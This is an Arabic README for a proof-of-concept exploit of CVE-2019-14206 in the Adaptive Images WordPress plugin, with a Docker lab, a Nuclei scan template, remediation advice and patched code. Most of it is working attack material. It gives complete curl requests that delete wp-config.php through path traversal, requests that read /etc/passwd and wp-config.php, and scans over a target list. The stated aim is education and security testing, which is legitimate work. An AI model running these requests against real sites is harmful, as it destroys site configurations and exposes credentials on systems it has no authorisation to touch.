
استغلال إثبات المفهوم لـ CVE-2019-14206، يوضح حذف ملفات عشوائي في إضافة Adaptive Images لووردبريس. يتضمن مختبر Docker، قالب Nuclei، ونصوص اختبار يدوية للتعليم والتحقق الأمني.
CVE-ID: CVE-2019-14206
الخطورة: عالية (CVSS 6.5)
الإضافة المتأثرة: Adaptive Images لووردبريس
الإصدارات المتأثرة: < 0.6.67
تسمح هذه الثغرة لمهاجم عن بعد غير مصادق بحذف ملفات تعسفية على خادم ووردبريس من خلال استغلال إضافة Adaptive Images.
// الإضافة تستخدم إدخال المستخدم دون تطهير
$settings = $_REQUEST['adaptive-images-settings'];
// بناء مسار الملف بمعلمات يتحكم بها المهاجم
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// حذف ملف تعسفي
unlink($cache_file);
# التحقق من Nuclei
nuclei --version
# التحقق من Bash
bash --version
# التحقق من curl
curl --version
# التحقق من PHP (اختياري)
php --version 2>/dev/null || echo "PHP غير متوفر (اختياري)"
# إذا كنت في دليل nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# أو تحميل الملفات المطلوبة
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# التحقق من وجود الملفات
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
قم بتنفيذ العرض التوضيحي الكامل الذي يحاكي الاستغلال بأكمله:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
ما يحدث:
الإخراج المتوقع:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# إذا كان Docker يعمل
docker-compose up -d
# إذا كان Docker لا يعمل، استخدم المحاكي
./docker-test-full.sh
# ستكون البيئة متاحة على
# http://localhost:8888
# التحقق من وجود السكريبت الضعيف
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# اختبار LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# اختبار حذف الملف
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# التحقق من حذف wp-config.php
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# إنشاء ملف الأهداف
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# مسح أساسي
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# مسح مفصّل
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# مسح مع التصحيح (إلزامي لـ bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# حفظ النتائج
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# عرض النتائج
cat results.txt
# النتائج الإيجابية ستكون:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# محاولة قراءة /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# محاولة قراءة wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
النتيجة المتوقعة (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# التحقق من وجود wp-config.php قبل
ls -la wp-config.php
# تنفيذ الاستغلال
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# التحقق من حذف wp-config.php بعد
ls -la wp-config.php
النتيجة المتوقعة (حذف الملف):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# إزالة بيئة Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# إزالة ملفات الاختبار
rm -rf docker-test/
rm -f targets.txt results.txt
# استعادة wp-config.php إذا تم حذفه
cat > wp-config.php << 'EOF'
<?php
// ملف مستعاد
define('DB_NAME', 'wordpress');
EOF
# إزالة نتائج المسح
rm -f results.txt
# مسح الذاكرة المؤقتة (اختياري)
nuclei -rm-cache
# تثبيت Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# أو تحميل الملف الثنائي
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/
# التحقق من وجود الملف
ls -la http/cves/2019/CVE-2019-14206.yaml
# التحقق من بناء جملة YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"
# استخدام المسار المطلق
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target
# التحقق من المنفذ
lsof -i :8888
# استخدام منفذ مختلف
php -S localhost:9999
# التحقق من تثبيت PHP
which php
php --version
# التحقق من حالة Docker
docker ps
# بدء Docker
# على macOS: افتح Docker Desktop
# على Linux: sudo systemctl start docker
# استخدام وضع المحاكي (يعمل بدون Docker)
./docker-test-full.sh
تحديث الإضافة:
لوحة تحكم ووردبريس > إضافات > تحديث Adaptive Images
الإصدار الآمن: >= 0.6.67
إزالة الإضافة الضعيفة:
rm -rf wp-content/plugins/adaptive-images/
// ✅ كود آمن (مثال للتصحيح)
function adaptive_images_script_get_settings() {
// تطهير الإدخال
$allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
$settings = [];
foreach ($allowed_keys as $key) {
if (isset($_REQUEST['adaptive-images-settings'][$key])) {
$settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
}
}
return $settings;
}
function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
// التحقق من صحة المسارات
$allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
$cache_dir = basename(dirname($cache_file));
if (!in_array($cache_dir, $allowed_cache_dirs)) {
return false; // رفض المسارات غير الصالحة
}
// استخدام مسارات مطلقة تم التحقق منها
$cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
if (file_exists($cache_file)) {
unlink($cache_file);
}
}
هذه المادة مقدمة حصرياً للأغراض التعليمية واختبار الأمان.
المؤلف والمساهمون لا يتحملون أي مسؤولية عن أي:
إذا وجدت هذه الثغرة في أنظمة حقيقية:
يوضح هذا المشروع:
المساهمات مرحب بها! للمساهمة:
git checkout -b feature/improvement)git commit -am 'Add improvement')git push origin feature/improvement)للاستفسارات أو المشكلات:
🎉 شكراً لاستخدامك هذه المادة الاختبارية!
تذكر: مع القوة العظيمة تأتي مسؤولية عظيمة. استخدم هذه المعرفة لجعل الإنترنت أكثر أماناً، وليس أكثر ضعفاً.
تاريخ الإنشاء: 4 يناير 2026
الإصدار: 1.0.0
الحالة: ✅ جاهز للاستخدام في الإنتاج